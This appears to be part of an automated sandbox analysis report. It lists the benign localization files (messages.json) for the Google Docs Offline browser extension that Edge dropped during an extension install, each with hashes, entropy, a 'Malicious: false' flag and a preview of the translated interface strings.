Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
